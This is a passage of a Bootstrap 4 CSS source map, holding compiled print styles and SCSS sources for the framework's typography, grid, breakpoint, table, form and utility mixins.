!important;\n}\n\n.text-muted {\n color: #6c757d !important;\n}\n\n.text-black-50 {\n color: rgba(0, 0, 0, 0.5) !important;\n}\n\n.text-white-50 {\n color: rgba(255, 255, 255, 0.5) !important;\n}\n\n.text-hide {\n font: 0/0 a;\n color: transparent;\n text-shadow: none;\n background-color: transparent;\n border: 0;\n}\n\n.visible {\n visibility: visible !important;\n}\n\n.invisible {\n visibility: hidden !important;\n}\n\n@media print {\n *,\n *::before,\n *::after {\n text-shadow: none !important;\n box-shadow: none !important;\n }\n a:not(.btn) {\n text-decoration: underline;\n }\n abbr[title]::after {\n content: \" (\" attr(title) \")\";\n }\n pre {\n white-space: pre-wrap !important;\n }\n pre,\n blockquote {\n border: 1px solid #adb5bd;\n page-break-inside: avoid;\n }\n thead {\n display: table-header-group;\n }\n tr,\n img {\n page-break-inside: avoid;\n }\n p,\n h2,\n h3 {\n orphans: 3;\n widows: 3;\n }\n h2,\n h3 {\n page-break-after: avoid;\n }\n @page {\n size: a3;\n }\n body {\n min-width: 992px !important;\n }\n .container {\n min-width: 992px !important;\n }\n .navbar {\n display: none;\n }\n .badge {\n border: 1px solid #000;\n }\n .table {\n border-collapse: collapse !important;\n }\n .table td,\n .table th {\n background-color: #fff !important;\n }\n .table-bordered th,\n .table-bordered td {\n border: 1px solid #dee2e6 !important;\n }\n}\n\n/*# sourceMappingURL=bootstrap.css.map */","// Hover mixin and `$enable-hover-media-query` are deprecated.\n//\n// Origally added during our alphas and maintained during betas, this mixin was\n// designed to prevent `:hover` stickiness on iOS-an issue where hover styles\n// would persist after initial touch.\n//\n// For backward compatibility, we've kept these mixins and updated them to\n// always return their regular psuedo-classes instead of a shimmed media query.\n//\n// Issue: https://github.com/twbs/bootstrap/issues/25195\n\n@mixin hover {\n &:hover { @content; }\n}\n\n@mixin hover-focus {\n &:hover,\n &:focus {\n @content;\n }\n}\n\n@mixin plain-hover-focus {\n &,\n &:hover,\n &:focus {\n @content;\n }\n}\n\n@mixin hover-focus-active {\n &:hover,\n &:focus,\n &:active {\n @content;\n }\n}\n","// stylelint-disable declaration-no-important, selector-list-comma-newline-after\n\n//\n// Headings\n//\n\nh1, h2, h3, h4, h5, h6,\n.h1, .h2, .h3, .h4, .h5, .h6 {\n margin-bottom: $headings-margin-bottom;\n font-family: $headings-font-family;\n font-weight: $headings-font-weight;\n line-height: $headings-line-height;\n color: $headings-color;\n}\n\nh1, .h1 { font-size: $h1-font-size; }\nh2, .h2 { font-size: $h2-font-size; }\nh3, .h3 { font-size: $h3-font-size; }\nh4, .h4 { font-size: $h4-font-size; }\nh5, .h5 { font-size: $h5-font-size; }\nh6, .h6 { font-size: $h6-font-size; }\n\n.lead {\n font-size: $lead-font-size;\n font-weight: $lead-font-weight;\n}\n\n// Type display classes\n.display-1 {\n font-size: $display1-size;\n font-weight: $display1-weight;\n line-height: $display-line-height;\n}\n.display-2 {\n font-size: $display2-size;\n font-weight: $display2-weight;\n line-height: $display-line-height;\n}\n.display-3 {\n font-size: $display3-size;\n font-weight: $display3-weight;\n line-height: $display-line-height;\n}\n.display-4 {\n font-size: $display4-size;\n font-weight: $display4-weight;\n line-height: $display-line-height;\n}\n\n\n//\n// Horizontal rules\n//\n\nhr {\n margin-top: $hr-margin-y;\n margin-bottom: $hr-margin-y;\n border: 0;\n border-top: $hr-border-width solid $hr-border-color;\n}\n\n\n//\n// Emphasis\n//\n\nsmall,\n.small {\n font-size: $small-font-size;\n font-weight: $font-weight-normal;\n}\n\nmark,\n.mark {\n padding: $mark-padding;\n background-color: $mark-bg;\n}\n\n\n//\n// Lists\n//\n\n.list-unstyled {\n @include list-unstyled;\n}\n\n// Inline turns list items into inline-block\n.list-inline {\n @include list-unstyled;\n}\n.list-inline-item {\n display: inline-block;\n\n &:not(:last-child) {\n margin-right: $list-inline-padding;\n }\n}\n\n\n//\n// Misc\n//\n\n// Builds on `abbr`\n.initialism {\n font-size: 90%;\n text-transform: uppercase;\n}\n\n// Blockquotes\n.blockquote {\n margin-bottom: $spacer;\n font-size: $blockquote-font-size;\n}\n\n.blockquote-footer {\n display: block;\n font-size: 80%; // back to default font-size\n color: $blockquote-small-color;\n\n &::before {\n content: \"\\2014 \\00A0\"; // em dash, nbsp\n }\n}\n","// Lists\n\n// Unstyled keeps list items block level, just removes default browser padding and list-style\n@mixin list-unstyled {\n padding-left: 0;\n list-style: none;\n}\n","// Responsive images (ensure images don't scale beyond their parents)\n//\n// This is purposefully opt-in via an explicit class rather than being the default for all `<img>`s.\n// We previously tried the \"images are responsive by default\" approach in Bootstrap v2,\n// and abandoned it in Bootstrap v3 because it breaks lots of third-party widgets (including Google Maps)\n// which weren't expecting the images within themselves to be involuntarily resized.\n// See also https://github.com/twbs/bootstrap/issues/18178\n.img-fluid {\n @include img-fluid;\n}\n\n\n// Image thumbnails\n.img-thumbnail {\n padding: $thumbnail-padding;\n background-color: $thumbnail-bg;\n border: $thumbnail-border-width solid $thumbnail-border-color;\n @include border-radius($thumbnail-border-radius);\n @include box-shadow($thumbnail-box-shadow);\n\n // Keep them at most 100% wide\n @include img-fluid;\n}\n\n//\n// Figures\n//\n\n.figure {\n // Ensures the caption's text aligns with the image.\n display: inline-block;\n}\n\n.figure-img {\n margin-bottom: ($spacer / 2);\n line-height: 1;\n}\n\n.figure-caption {\n font-size: $figure-caption-font-size;\n color: $figure-caption-color;\n}\n","// Image Mixins\n// - Responsive image\n// - Retina image\n\n\n// Responsive image\n//\n// Keep images from scaling beyond the width of their parents.\n\n@mixin img-fluid {\n // Part 1: Set a maximum relative to the parent\n max-width: 100%;\n // Part 2: Override the height to auto, otherwise images will be stretched\n // when setting a width and height attribute on the img element.\n height: auto;\n}\n\n\n// Retina image\n//\n// Short retina mixin for setting background-image and -size.\n\n// stylelint-disable indentation, media-query-list-comma-newline-after\n@mixin img-retina($file-1x, $file-2x, $width-1x, $height-1x) {\n background-image: url($file-1x);\n\n // Autoprefixer takes care of adding -webkit-min-device-pixel-ratio and -o-min-device-pixel-ratio,\n // but doesn't convert dppx=>dpi.\n // There's no such thing as unprefixed min-device-pixel-ratio since it's nonstandard.\n // Compatibility info: https://caniuse.com/#feat=css-media-resolution\n @media only screen and (min-resolution: 192dpi), // IE9-11 don't support dppx\n only screen and (min-resolution: 2dppx) { // Standardized\n background-image: url($file-2x);\n background-size: $width-1x $height-1x;\n }\n}\n","// Single side border-radius\n\n@mixin border-radius($radius: $border-radius) {\n @if $enable-rounded {\n border-radius: $radius;\n }\n}\n\n@mixin border-top-radius($radius) {\n @if $enable-rounded {\n border-top-left-radius: $radius;\n border-top-right-radius: $radius;\n }\n}\n\n@mixin border-right-radius($radius) {\n @if $enable-rounded {\n border-top-right-radius: $radius;\n border-bottom-right-radius: $radius;\n }\n}\n\n@mixin border-bottom-radius($radius) {\n @if $enable-rounded {\n border-bottom-right-radius: $radius;\n border-bottom-left-radius: $radius;\n }\n}\n\n@mixin border-left-radius($radius) {\n @if $enable-rounded {\n border-top-left-radius: $radius;\n border-bottom-left-radius: $radius;\n }\n}\n","// Inline and block code styles\ncode,\nkbd,\npre,\nsamp {\n font-family: $font-family-monospace;\n}\n\n// Inline code\ncode {\n font-size: $code-font-size;\n color: $code-color;\n word-break: break-word;\n\n // Streamline the style when inside anchors to avoid broken underline and more\n a > & {\n color: inherit;\n }\n}\n\n// User input typically entered via keyboard\nkbd {\n padding: $kbd-padding-y $kbd-padding-x;\n font-size: $kbd-font-size;\n color: $kbd-color;\n background-color: $kbd-bg;\n @include border-radius($border-radius-sm);\n @include box-shadow($kbd-box-shadow);\n\n kbd {\n padding: 0;\n font-size: 100%;\n font-weight: $nested-kbd-font-weight;\n @include box-shadow(none);\n }\n}\n\n// Blocks of code\npre {\n display: block;\n font-size: $code-font-size;\n color: $pre-color;\n\n // Account for some code outputs that place code tags in pre tags\n code {\n font-size: inherit;\n color: inherit;\n word-break: normal;\n }\n}\n\n// Enable scrollable blocks of code\n.pre-scrollable {\n max-height: $pre-scrollable-max-height;\n overflow-y: scroll;\n}\n","// Container widths\n//\n// Set the container width, and override it for fixed navbars in media queries.\n\n@if $enable-grid-classes {\n .container {\n @include make-container();\n @include make-container-max-widths();\n }\n}\n\n// Fluid container\n//\n// Utilizes the mixin meant for fixed width containers, but with 100% width for\n// fluid, full width layouts.\n\n@if $enable-grid-classes {\n .container-fluid {\n @include make-container();\n }\n}\n\n// Row\n//\n// Rows contain and clear the floats of your columns.\n\n@if $enable-grid-classes {\n .row {\n @include make-row();\n }\n\n // Remove the negative margin from default .row, then the horizontal padding\n // from all immediate children columns (to prevent runaway style inheritance).\n .no-gutters {\n margin-right: 0;\n margin-left: 0;\n\n > .col,\n > [class*=\"col-\"] {\n padding-right: 0;\n padding-left: 0;\n }\n }\n}\n\n// Columns\n//\n// Common styles for small and large grid columns\n\n@if $enable-grid-classes {\n @include make-grid-columns();\n}\n","/// Grid system\n//\n// Generate semantic grid columns with these mixins.\n\n@mixin make-container() {\n width: 100%;\n padding-right: ($grid-gutter-width / 2);\n padding-left: ($grid-gutter-width / 2);\n margin-right: auto;\n margin-left: auto;\n}\n\n\n// For each breakpoint, define the maximum width of the container in a media query\n@mixin make-container-max-widths($max-widths: $container-max-widths, $breakpoints: $grid-breakpoints) {\n @each $breakpoint, $container-max-width in $max-widths {\n @include media-breakpoint-up($breakpoint, $breakpoints) {\n max-width: $container-max-width;\n }\n }\n}\n\n@mixin make-row() {\n display: flex;\n flex-wrap: wrap;\n margin-right: ($grid-gutter-width / -2);\n margin-left: ($grid-gutter-width / -2);\n}\n\n@mixin make-col-ready() {\n position: relative;\n // Prevent columns from becoming too narrow when at smaller grid tiers by\n // always setting `width: 100%;`. This works because we use `flex` values\n // later on to override this initial width.\n width: 100%;\n min-height: 1px; // Prevent collapsing\n padding-right: ($grid-gutter-width / 2);\n padding-left: ($grid-gutter-width / 2);\n}\n\n@mixin make-col($size, $columns: $grid-columns) {\n flex: 0 0 percentage($size / $columns);\n // Add a `max-width` to ensure content within each column does not blow out\n // the width of the column. Applies to IE10+ and Firefox. Chrome and Safari\n // do not appear to require this.\n max-width: percentage($size / $columns);\n}\n\n@mixin make-col-offset($size, $columns: $grid-columns) {\n $num: $size / $columns;\n margin-left: if($num == 0, 0, percentage($num));\n}\n","// Breakpoint viewport sizes and media queries.\n//\n// Breakpoints are defined as a map of (name: minimum width), order from small to large:\n//\n// (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px)\n//\n// The map defined in the `$grid-breakpoints` global variable is used as the `$breakpoints` argument by default.\n\n// Name of the next breakpoint, or null for the last breakpoint.\n//\n// >> breakpoint-next(sm)\n// md\n// >> breakpoint-next(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// md\n// >> breakpoint-next(sm, $breakpoint-names: (xs sm md lg xl))\n// md\n@function breakpoint-next($name, $breakpoints: $grid-breakpoints, $breakpoint-names: map-keys($breakpoints)) {\n $n: index($breakpoint-names, $name);\n @return if($n < length($breakpoint-names), nth($breakpoint-names, $n + 1), null);\n}\n\n// Minimum breakpoint width. Null for the smallest (first) breakpoint.\n//\n// >> breakpoint-min(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// 576px\n@function breakpoint-min($name, $breakpoints: $grid-breakpoints) {\n $min: map-get($breakpoints, $name);\n @return if($min != 0, $min, null);\n}\n\n// Maximum breakpoint width. Null for the largest (last) breakpoint.\n// The maximum value is calculated as the minimum of the next one less 0.02px\n// to work around the limitations of `min-` and `max-` prefixes and viewports with fractional widths.\n// See https://www.w3.org/TR/mediaqueries-4/#mq-min-max\n// Uses 0.02px rather than 0.01px to work around a current rounding bug in Safari.\n// See https://bugs.webkit.org/show_bug.cgi?id=178261\n//\n// >> breakpoint-max(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// 767.98px\n@function breakpoint-max($name, $breakpoints: $grid-breakpoints) {\n $next: breakpoint-next($name, $breakpoints);\n @return if($next, breakpoint-min($next, $breakpoints) - .02px, null);\n}\n\n// Returns a blank string if smallest breakpoint, otherwise returns the name with a dash infront.\n// Useful for making responsive utilities.\n//\n// >> breakpoint-infix(xs, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// \"\" (Returns a blank string)\n// >> breakpoint-infix(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// \"-sm\"\n@function breakpoint-infix($name, $breakpoints: $grid-breakpoints) {\n @return if(breakpoint-min($name, $breakpoints) == null, \"\", \"-#{$name}\");\n}\n\n// Media of at least the minimum breakpoint width. No query for the smallest breakpoint.\n// Makes the @content apply to the given breakpoint and wider.\n@mixin media-breakpoint-up($name, $breakpoints: $grid-breakpoints) {\n $min: breakpoint-min($name, $breakpoints);\n @if $min {\n @media (min-width: $min) {\n @content;\n }\n } @else {\n @content;\n }\n}\n\n// Media of at most the maximum breakpoint width. No query for the largest breakpoint.\n// Makes the @content apply to the given breakpoint and narrower.\n@mixin media-breakpoint-down($name, $breakpoints: $grid-breakpoints) {\n $max: breakpoint-max($name, $breakpoints);\n @if $max {\n @media (max-width: $max) {\n @content;\n }\n } @else {\n @content;\n }\n}\n\n// Media that spans multiple breakpoint widths.\n// Makes the @content apply between the min and max breakpoints\n@mixin media-breakpoint-between($lower, $upper, $breakpoints: $grid-breakpoints) {\n $min: breakpoint-min($lower, $breakpoints);\n $max: breakpoint-max($upper, $breakpoints);\n\n @if $min != null and $max != null {\n @media (min-width: $min) and (max-width: $max) {\n @content;\n }\n } @else if $max == null {\n @include media-breakpoint-up($lower, $breakpoints) {\n @content;\n }\n } @else if $min == null {\n @include media-breakpoint-down($upper, $breakpoints) {\n @content;\n }\n }\n}\n\n// Media between the breakpoint's minimum and maximum widths.\n// No minimum for the smallest breakpoint, and no maximum for the largest one.\n// Makes the @content apply only to the given breakpoint, not viewports any wider or narrower.\n@mixin media-breakpoint-only($name, $breakpoints: $grid-breakpoints) {\n $min: breakpoint-min($name, $breakpoints);\n $max: breakpoint-max($name, $breakpoints);\n\n @if $min != null and $max != null {\n @media (min-width: $min) and (max-width: $max) {\n @content;\n }\n } @else if $max == null {\n @include media-breakpoint-up($name, $breakpoints) {\n @content;\n }\n } @else if $min == null {\n @include media-breakpoint-down($name, $breakpoints) {\n @content;\n }\n }\n}\n","// Framework grid generation\n//\n// Used only by Bootstrap to generate the correct number of grid classes given\n// any value of `$grid-columns`.\n\n@mixin make-grid-columns($columns: $grid-columns, $gutter: $grid-gutter-width, $breakpoints: $grid-breakpoints) {\n // Common properties for all breakpoints\n %grid-column {\n position: relative;\n width: 100%;\n min-height: 1px; // Prevent columns from collapsing when empty\n padding-right: ($gutter / 2);\n padding-left: ($gutter / 2);\n }\n\n @each $breakpoint in map-keys($breakpoints) {\n $infix: breakpoint-infix($breakpoint, $breakpoints);\n\n // Allow columns to stretch full width below their breakpoints\n @for $i from 1 through $columns {\n .col#{$infix}-#{$i} {\n @extend %grid-column;\n }\n }\n .col#{$infix},\n .col#{$infix}-auto {\n @extend %grid-column;\n }\n\n @include media-breakpoint-up($breakpoint, $breakpoints) {\n // Provide basic `.col-{bp}` classes for equal-width flexbox columns\n .col#{$infix} {\n flex-basis: 0;\n flex-grow: 1;\n max-width: 100%;\n }\n .col#{$infix}-auto {\n flex: 0 0 auto;\n width: auto;\n max-width: none; // Reset earlier grid tiers\n }\n\n @for $i from 1 through $columns {\n .col#{$infix}-#{$i} {\n @include make-col($i, $columns);\n }\n }\n\n .order#{$infix}-first { order: -1; }\n\n .order#{$infix}-last { order: $columns + 1; }\n\n @for $i from 0 through $columns {\n .order#{$infix}-#{$i} { order: $i; }\n }\n\n // `$columns - 1` because offsetting by the width of an entire row isn't possible\n @for $i from 0 through ($columns - 1) {\n @if not ($infix == \"\" and $i == 0) { // Avoid emitting useless .offset-0\n .offset#{$infix}-#{$i} {\n @include make-col-offset($i, $columns);\n }\n }\n }\n }\n }\n}\n","//\n// Basic Bootstrap table\n//\n\n.table {\n width: 100%;\n max-width: 100%;\n margin-bottom: $spacer;\n background-color: $table-bg; // Reset for nesting within parents with `background-color`.\n\n th,\n td {\n padding: $table-cell-padding;\n vertical-align: top;\n border-top: $table-border-width solid $table-border-color;\n }\n\n thead th {\n vertical-align: bottom;\n border-bottom: (2 * $table-border-width) solid $table-border-color;\n }\n\n tbody + tbody {\n border-top: (2 * $table-border-width) solid $table-border-color;\n }\n\n .table {\n background-color: $body-bg;\n }\n}\n\n\n//\n// Condensed table w/ half padding\n//\n\n.table-sm {\n th,\n td {\n padding: $table-cell-padding-sm;\n }\n}\n\n\n// Border versions\n//\n// Add or remove borders all around the table and between all the columns.\n\n.table-bordered {\n border: $table-border-width solid $table-border-color;\n\n th,\n td {\n border: $table-border-width solid $table-border-color;\n }\n\n thead {\n th,\n td {\n border-bottom-width: (2 * $table-border-width);\n }\n }\n}\n\n.table-borderless {\n th,\n td,\n thead th,\n tbody + tbody {\n border: 0;\n }\n}\n\n// Zebra-striping\n//\n// Default zebra-stripe styles (alternating gray and transparent backgrounds)\n\n.table-striped {\n tbody tr:nth-of-type(#{$table-striped-order}) {\n background-color: $table-accent-bg;\n }\n}\n\n\n// Hover effect\n//\n// Placed here since it has to come after the potential zebra striping\n\n.table-hover {\n tbody tr {\n @include hover {\n background-color: $table-hover-bg;\n }\n }\n}\n\n\n// Table backgrounds\n//\n// Exact selectors below required to override `.table-striped` and prevent\n// inheritance to nested tables.\n\n@each $color, $value in $theme-colors {\n @include table-row-variant($color, theme-color-level($color, -9));\n}\n\n@include table-row-variant(active, $table-active-bg);\n\n\n// Dark styles\n//\n// Same table markup, but inverted color scheme: dark background and light text.\n\n// stylelint-disable-next-line no-duplicate-selectors\n.table {\n .thead-dark {\n th {\n color: $table-dark-color;\n background-color: $table-dark-bg;\n border-color: $table-dark-border-color;\n }\n }\n\n .thead-light {\n th {\n color: $table-head-color;\n background-color: $table-head-bg;\n border-color: $table-border-color;\n }\n }\n}\n\n.table-dark {\n color: $table-dark-color;\n background-color: $table-dark-bg;\n\n th,\n td,\n thead th {\n border-color: $table-dark-border-color;\n }\n\n &.table-bordered {\n border: 0;\n }\n\n &.table-striped {\n tbody tr:nth-of-type(odd) {\n background-color: $table-dark-accent-bg;\n }\n }\n\n &.table-hover {\n tbody tr {\n @include hover {\n background-color: $table-dark-hover-bg;\n }\n }\n }\n}\n\n\n// Responsive tables\n//\n// Generate series of `.table-responsive-*` classes for configuring the screen\n// size of where your table will overflow.\n\n.table-responsive {\n @each $breakpoint in map-keys($grid-breakpoints) {\n $next: breakpoint-next($breakpoint, $grid-breakpoints);\n $infix: breakpoint-infix($next, $grid-breakpoints);\n\n &#{$infix} {\n @include media-breakpoint-down($breakpoint) {\n display: block;\n width: 100%;\n overflow-x: auto;\n -webkit-overflow-scrolling: touch;\n -ms-overflow-style: -ms-autohiding-scrollbar; // See https://github.com/twbs/bootstrap/pull/10057\n\n // Prevent double border on horizontal scroll due to use of `display: block;`\n > .table-bordered {\n border: 0;\n }\n }\n }\n }\n}\n","// Tables\n\n@mixin table-row-variant($state, $background) {\n // Exact selectors below required to override `.table-striped` and prevent\n // inheritance to nested tables.\n .table-#{$state} {\n &,\n > th,\n > td {\n background-color: $background;\n }\n }\n\n // Hover states for `.table-hover`\n // Note: this is not available for cells or rows within `thead` or `tfoot`.\n .table-hover {\n $hover-background: darken($background, 5%);\n\n .table-#{$state} {\n @include hover {\n background-color: $hover-background;\n\n > td,\n > th {\n background-color: $hover-background;\n }\n }\n }\n }\n}\n","// Bootstrap functions\n//\n// Utility mixins and functions for evalutating source code across our variables, maps, and mixins.\n\n// Ascending\n// Used to evaluate Sass maps like our grid breakpoints.\n@mixin _assert-ascending($map, $map-name) {\n $prev-key: null;\n $prev-num: null;\n @each $key, $num in $map {\n @if $prev-num == null {\n // Do nothing\n } @else if not comparable($prev-num, $num) {\n @warn \"Potentially invalid value for #{$map-name}: This map must be in ascending order, but key '#{$key}' has value #{$num} whose unit makes it incomparable to #{$prev-num}, the value of the previous key '#{$prev-key}' !\";\n } @else if $prev-num >= $num {\n @warn \"Invalid value for #{$map-name}: This map must be in ascending order, but key '#{$key}' has value #{$num} which isn't greater than #{$prev-num}, the value of the previous key '#{$prev-key}' !\";\n }\n $prev-key: $key;\n $prev-num: $num;\n }\n}\n\n// Starts at zero\n// Another grid mixin that ensures the min-width of the lowest breakpoint starts at 0.\n@mixin _assert-starts-at-zero($map) {\n $values: map-values($map);\n $first-value: nth($values, 1);\n @if $first-value != 0 {\n @warn \"First breakpoint in `$grid-breakpoints` must start at 0, but starts at #{$first-value}.\";\n }\n}\n\n// Replace `$search` with `$replace` in `$string`\n// Used on our SVG icon backgrounds for custom forms.\n//\n// @author Hugo Giraudel\n// @param {String} $string - Initial string\n// @param {String} $search - Substring to replace\n// @param {String} $replace ('') - New value\n// @return {String} - Updated string\n@function str-replace($string, $search, $replace: \"\") {\n $index: str-index($string, $search);\n\n @if $index {\n @return str-slice($string, 1, $index - 1) + $replace + str-replace(str-slice($string, $index + str-length($search)), $search, $replace);\n }\n\n @return $string;\n}\n\n// Color contrast\n@function color-yiq($color) {\n $r: red($color);\n $g: green($color);\n $b: blue($color);\n\n $yiq: (($r * 299) + ($g * 587) + ($b * 114)) / 1000;\n\n @if ($yiq >= $yiq-contrasted-threshold) {\n @return $yiq-text-dark;\n } @else {\n @return $yiq-text-light;\n }\n}\n\n// Retrieve color Sass maps\n@function color($key: \"blue\") {\n @return map-get($colors, $key);\n}\n\n@function theme-color($key: \"primary\") {\n @return map-get($theme-colors, $key);\n}\n\n@function gray($key: \"100\") {\n @return map-get($grays, $key);\n}\n\n// Request a theme color level\n@function theme-color-level($color-name: \"primary\", $level: 0) {\n $color: theme-color($color-name);\n $color-base: if($level > 0, $black, $white);\n $level: abs($level);\n\n @return mix($color-base, $color, $level * $theme-color-interval);\n}\n","// stylelint-disable selector-no-qualifying-type\n\n//\n// Textual form controls\n//\n\n.form-control {\n display: block;\n width: 100%;\n padding: $input-padding-y $input-padding-x;\n font-size: $font-size-base;\n line-height: $input-line-height;\n color: $input-color;\n background-color: $input-bg;\n background-clip: padding-box;\n border: $input-border-width solid $input-border-color;\n\n // Note: This has no effect on <select>s in some browsers, due to the limited stylability of `<select>`s in CSS.\n @if $enable-rounded {\n // Manually use the if/else instead of the mixin to account for iOS override\n border-radius: $input-border-radius;\n } @else {\n // Otherwise undo the iOS default\n border-radius: 0;\n }\n\n @include box-shadow($input-box-shadow);\n @include transition($input-transition);\n\n // Unstyle the caret on `<select>`s in IE10+.\n &::-ms-expand {\n background-color: transparent;\n border: 0;\n }\n\n // Customize the `:focus` state to imitate native WebKit styles.\n @include form-control-focus();\n\n // Placeholder\n &::placeholder {\n color: $input-placeholder-color;\n // Override Firefox's unusual default opacity; see https://github.com/twbs/bootstrap/pull/11526.\n opacity: 1;\n }\n\n // Disabled and read-only inputs\n //\n // HTML5 says that controls under a fieldset > legend:first-child won't be\n // disabled if the fieldset is disabled. Due to implementation difficulty, we\n // don't honor that edge case; we style them as disabled anyway.\n &:disabled,\n &[readonly] {\n background-color: $input-disabled-bg;\n // iOS fix for unreadable disabled content; see https://github.com/twbs/bootstrap/issues/11655.\n opacity: 1;\n }\n}\n\nselect.form-control {\n &:not([size]):not([multiple]) {\n height: $input-height;\n }\n\n &:focus::-ms-value {\n // Suppress the nested default white text on blue background highlight given to\n // the selected option text when the (still closed) <select> receives focus\n // in IE and (under certain conditions) Edge, as it looks bad and cannot be made to\n // match the appearance of the native widget.\n // See https://github.com/twbs/bootstrap/issues/19398.\n color: $input-color;\n background-color: $input-bg;\n }\n}\n\n// Make file inputs better match text inputs by forcing them to new lines.\n.form-control-file,\n.form-control-range {\n display: block;\n width: 100%;\n}\n\n\n//\n// Labels\n//\n\n// For use with horizontal and inline forms, when you need the label (or legend)\n// text to align with the form controls.\n.col-form-label {\n padding-top: calc(#{$input-padding-y} + #{$input-border-width});\n padding-bottom: calc(#{$input-padding-y} + #{$input-border-width});\n margin-bottom: 0; // Override the `<label>/<legend>` default\n font-size: inherit; // Override the `<legend>` default\n line-height: $input-line-height;\n}\n\n.col-form-label-lg {\n padding-top: calc(#{$input-padding-y-lg} + #{$input-border-width});\n padding-bottom: calc(#{$input-padding-y-lg} + #{$input-border-width});\n font-size: $font-size-lg;\n line-height: $input-line-height-lg;\n}\n\n.col-form-label-sm {\n padding-top: calc(#{$input-padding-y-sm} + #{$input-border-width});\n padding-bottom: calc(#{$input-padding-y-sm} + #{$input-border-width});\n font-size: $font-size-sm;\n line-height: $input-line-height-sm;\n}\n\n\n// Readonly controls as plain text\n//\n// Apply class to a readonly input to make it appear like regular plain\n// text (without any border, background color, focus indicator)\n\n.form-control-plaintext {\n display: block;\n width: 100%;\n padding-top: $input-padding-y;\n padding-bottom: $input-padding-y;\n margin-bottom: 0; // match inputs if this class comes on inputs with default margins\n line-height: $input-line-height;\n color: $input-plaintext-color;\n background-color: transparent;\n border: solid transparent;\n border-width: $input-border-width 0;\n\n &.form-control-sm,\n &.form-control-lg {\n padding-right: 0;\n padding-left: 0;\n }\n}\n\n\n// Form control sizing\n//\n// Build on `.form-control` with modifier classes to decrease or increase the\n// height and font-size of form controls.\n//\n// The `.form-group-* form-control` variations are sadly duplicated to avoid the\n// issue documented in https://github.com/twbs/bootstrap/issues/15074.\n\n.form-control-sm {\n padding: $input-padding-y-sm $input-padding-x-sm;\n font-size: $font-size-sm;\n line-height: $input-line-height-sm;\n @include border-radius($input-border-radius-sm);\n}\n\nselect.form-control-sm {\n &:not([size]):not([multiple]) {\n height: $input-height-sm;\n }\n}\n\n.form-control-lg {\n padding: $input-padding-y-lg $input-padding-x-lg;\n font-size: $font-size-lg;\n line-height: $input-line-height-lg;\n @include border-radius($input-border-radius-lg);\n}\n\nselect.form-control-lg {\n &:not([size]):not([multiple]) {\n height: $input-height-lg;\n }\n}\n\n\n// Form groups\n//\n// Designed to help with the organization and spacing of vertical forms. For\n// horizontal forms, use the predefined grid classes.\n\n.form-group {\n margin-bottom: $form-group-margin-bottom;\n}\n\n.form-text {\n display: block;\n margin-top: $form-text-margin-top;\n}\n\n\n// Form grid\n//\n// Special replacement for our grid system's `.row` for tighter form layouts.\n\n.form-row {\n display: flex;\n flex-wrap: wrap;\n margin-right: -5px;\n margin-left: -5px;\n\n > .col,\n > [class*=\"col-\"] {\n padding-right: 5px;\n padding-left: 5px;\n }\n}\n\n\n// Checkboxes and radios\n//\n// Indent the labels to position radios/checkboxes as hanging controls.\n\n.form-check {\n position: relative;\n display: block;\n padding-left: $form-check-input-gutter;\n}\n\n.form-check-input {\n position: absolute;\n margin-top: $form-check-input-margin-y;\n margin-left: -$form-check-input-gutter;\n\n &:disabled ~ .form-check-label {\n color: $text-muted;\n }\n}\n\n.form-check-label {\n margin-bottom: 0; // Override default `<label>` bottom margin\n}\n\n.form-check-inline {\n display: inline-flex;\n align-items: center;\n padding-left: 0; // Override base .form-check\n margin-right: $form-check-inline-margin-x;\n\n // Undo .form-check-input defaults and add some `margin-right`.\n .form-check-input {\n position: static;\n margin-top: 0;\n margin-right: $form-check-inline-input-margin-x;\n margin-left: 0;\n }\n}\n\n\n// Form validation\n//\n// Provide feedback to users when form field values are valid or invalid. Works\n// primarily for client-side validation via scoped `:invalid` and `:valid`\n// pseudo-classes but also includes `.is-invalid` and `.is-valid` classes for\n// server side validation.\n\n@include form-validation-state(\"valid\", $form-feedback-valid-color);\n@include form-validation-state(\"invalid\", $form-feedback-invalid-color);\n\n// Inline forms\n//\n// Make forms appear inline(-block) by adding the `.form-inline` class. Inline\n// forms begin stacked on extra small (mobile) devices and then go inline when\n// viewports reach <768px.\n//\n// Requires wrapping inputs and labels with `.form-group` for proper display of\n// default HTML form controls and our custom form controls (e.g., input groups).\n\n.form-inline {\n display: flex;\n flex-flow: row wrap;\n align-items: center; // Prevent shorter elements from growing to same height as others (e.g., small buttons growing to normal sized button height)\n\n // Because we use flex, the initial sizing of checkboxes is collapsed and\n // doesn't occupy the full-width (which is what we want for xs grid tier),\n // so we force that here.\n .form-check {\n width: 100%;\n }\n\n // Kick in the inline\n @include media-breakpoint-up(sm) {\n label {\n display: flex;\n align-items: center;\n justify-content: center;\n margin-bottom: 0;\n }\n\n // Inline-block all the things for \"inline\"\n .form-group {\n display: flex;\n flex: 0 0 auto;\n flex-flow: row wrap;\n align-items: center;\n margin-bottom: 0;\n }\n\n // Allow folks to *not* use `.form-group`\n .form-control {\n display: inline-block;\n width: auto; // Prevent labels from stacking above inputs in `.form-group`\n vertical-align: middle;\n }\n\n // Make static controls behave like regular ones\n .form-control-plaintext {\n display: inline-block;\n }\n\n .input-group,\n .custom-select {\n width: auto;\n }\n\n // Remove default margin on radios/checkboxes that were used for stacking, and\n // then undo the floating of radios and checkboxes to match.\n .form-check {\n display: flex;\n align-items: center;\n justify-content: center;\n width: auto;\n padding-left: 0;\n }\n .form-check-input {\n position: relative;\n margin-top: 0;\n margin-right: $form-check-input-margin-x;\n margin-left: 0;\n }\n\n .custom-control {\n align-items: center;\n justify-content: center;\n }\n .custom-control-label {\n margin-bottom: 0;\n }\n }\n}\n","@mixin transition($transition...) {\n @if $enable-transitions {\n @if length($transition) == 0 {\n transition: $transition-base;\n } @else {\n transition: $transition;\n }\n }\n\n @media screen and (prefers-reduced-motion: reduce) {\n transition: none;\n }\n}\n","// Form control focus state\n//\n// Generate a customized focus state and for any input with the specified color,\n// which defaults to the `$input-focus-border-color` variable.\n//\n// We highly encourage you to not customize the default value, but instead use\n// this to tweak colors on an as-needed basis. This aesthetic change is based on\n// WebKit's default styles, but applicable to a wider range of browsers. Its\n// usability and accessibility should be taken into account with any 